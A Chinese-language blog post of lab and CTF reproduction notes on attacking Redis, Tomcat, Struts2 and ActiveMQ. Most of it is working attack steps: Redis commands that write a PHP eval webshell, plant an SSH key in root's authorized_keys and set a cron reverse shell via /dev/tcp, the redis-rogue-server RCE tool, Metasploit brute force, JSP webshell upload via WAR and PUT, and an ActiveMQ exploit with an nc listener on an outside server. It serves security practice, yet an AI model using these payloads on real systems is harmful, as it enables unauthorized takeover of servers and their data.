渗透靶场复现合集01

优秀的人,不是不合群,而是他们合群的人里面没有你

Redis未授权访问漏洞

需要做到写入一句话,或者写入ssh公钥登陆,或者反弹shell方法获得权限~

Redis 默认端口 6379

redis的登录方法:

redis-cli -h <ip_addr> -p <port>

1 redis写入webshell

如果存在80端口且redis开放6379端口

config set dir /var/www/html/    # 切换工作目录
config set dbfilename shell.php   #设置写入的文件名
set xx "\n\n\n<?php eval($_REQUEST['m']);?>\n\n\n"
save #将内存中的数据保存到磁盘

2 redis写公钥

使用条件:

  1. Redis服务使用ROOT账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

kali: ssh-keygen -t rsa

一路输出test,看到生产了一个test.pub,cat一下看看,内容长这样

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKDU8A+xG+8C7pz9aDaIohfm33GeE0WRqWDqKeh2fSYdTuOcKst6Tit1Bw/qL2hyLMCU5RQc7Qhx2Wkn+UHnz32R+1WL8yeoRd8Go3FfsqAFAfsY0jbXKxRCLVfUKHOIXGYtGq9B5oQrZJLGVigtikP8+O0Xzh21v2r8s4HzJtngM321YhOIG5rZCFSXGQI26kPmydcNcLDbORgbTPdnOvPjp/kXYESkO+oX4ZApdv7y8kLUAuYqxTPiSholm2vWtNo5MPIHPHPaVLB/xn1eIPEVqNyugx0VSbUi+mg5XrLtgtsupZdt5HVaUgxmS+bjeaM40mX/5+RE74GywS3GVohjFrEh8uvKDSUxhXcH1HK7obpGXoegpO8ZUYu54LPdYD9PTXjc+ncxi5DVa0l+si77x3jphQFDzG8se+R2Xo1cdiNWgQTKb+I8mLVcqmYkFuxEcpHwXjMsUVgH+yde4s9fIobBnjPF5pzZ9JYcTnoy+VyB8+EyU8N09gXJW9juM= kali@kali

然后登陆redis

redis: 
config set dir /root/.ssh
config set dbfilename authorized_keys
set xx "\n\n\n ssh-rsa <公钥>\n\n\n"
save #将内存中的数据保存到磁盘

举个例子:

config set dir /root/.ssh
config set dbfilename authorized_keys
set xx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKDU8A+xG+8C7pz9aDaIohfm33GeE0WRqWDqKeh2fSYdTuOcKst6Tit1Bw/qL2hyLMCU5RQc7Qhx2Wkn+UHnz32R+1WL8yeoRd8Go3FfsqAFAfsY0jbXKxRCLVfUKHOIXGYtGq9B5oQrZJLGVigtikP8+O0Xzh21v2r8s4HzJtngM321YhOIG5rZCFSXGQI26kPmydcNcLDbORgbTPdnOvPjp/kXYESkO+oX4ZApdv7y8kLUAuYqxTPiSholm2vWtNo5MPIHPHPaVLB/xn1eIPEVqNyugx0VSbUi+mg5XrLtgtsupZdt5HVaUgxmS+bjeaM40mX/5+RE74GywS3GVohjFrEh8uvKDSUxhXcH1HK7obpGXoegpO8ZUYu54LPdYD9PTXjc+ncxi5DVa0l+si77x3jphQFDzG8se+R2Xo1cdiNWgQTKb+I8mLVcqmYkFuxEcpHwXjMsUVgH+yde4s9fIobBnjPF5pzZ9JYcTnoy+VyB8+EyU8N09gXJW9juM= kali@kali\n\n\n"
save

然后直接命令链接

ssh 目标IP

如果知道了公钥,可以用

ssh -i <私钥文件路径> <用户名>@<远程服务器地址>

ssh  -i  /root/.ssh/id_rsa  root@xx.xx.xx.xx

直接登录

3 redis反弹shell

虚拟机肯定反弹不了,但是docker可以

set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
config setdir /var/spool/cron
config set dbfilename root
save

4 Redis主从复制getshell

redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从

条件:

  1. Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
  2. redis弱密码或者无密码
  3. root启动redis

以下在kali下进行,根据提示输入i进入交互shell

wget https://github.com/n0b0dyCN/redis-rogue-server

python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so

反弹shell使用下面这条命令

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so

根据提示输入r,接着输入ip和端口进行反弹

tomcat弱口令及getshell

启动靶机:tomcat-pass-getshell

这里进行弱口令爆破登陆,默认是tomcat/tomcat

如果没出来,就用msf里面的模块

search tomcat
search tomcat login
use 0
show options
set rhosts 123.58.224.8
set rport 44238
run

得到账号密码,到这里就停止爆破

进去后,tomcat是部署jsp/java。通过web或者加保

上传jsp的war包,tomcat自动会对压缩包进行解压然后解析。

冰蝎自带jsp一句话木马,shell.jsp,密码是pass,将shell.jsp解压成zip,然后后缀zip改成war,在上传就可以。

上传好了,页面搜索上传的文件名字,就在这里

点进去,看到目录是啥都没的,然后再后面加上文件名.jsp

http://123.58.224.8:44238/shell/shell.jsp

用冰蝎或者哥斯拉链接,进去就可以用shell执行命令寻找flag

tomcat任意文件写入

抓包文件上传,点击manager

变成这样

修改请求方式成PUT

把一句话木马写进去,路劲改为xxx.jsp/,这个/一定要加上去

然后请求连接

http://123.58.224.8:43614/xxx.jsp

Strust2

靶场:CVE-2017-5638,用工具一把锁哈

activemq

基本上进去这个样子

有现成的exp,还怪好用。记录一下复现过程,vulf靶场搜索cve-2015-5254启动。

需要一台外网服务器,外网服务器操作命令如下:

外网服务器nc监听本地端口2233

nc.exe -lvvp 2233

编辑linux-poc.xml,内容是外网服务器ip+端口

然后再外网服务器的exp目录下启动python服务器,端口9999

在本地同样准备一模一样的exp环境

执行命令

python exploit.py -i 靶机 -p 32693 -u http://外网服务器:9999/poc-linux.xml

然后再外网服务器的nc就反弹shell到手,find一下没发现flag,猜测在env中,还真是

坚持原创技术分享,您的支持将鼓励我继续创作!

-------------本文结束感谢您的阅读-------------

腾讯云主机优惠打折:最新活动地址


版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%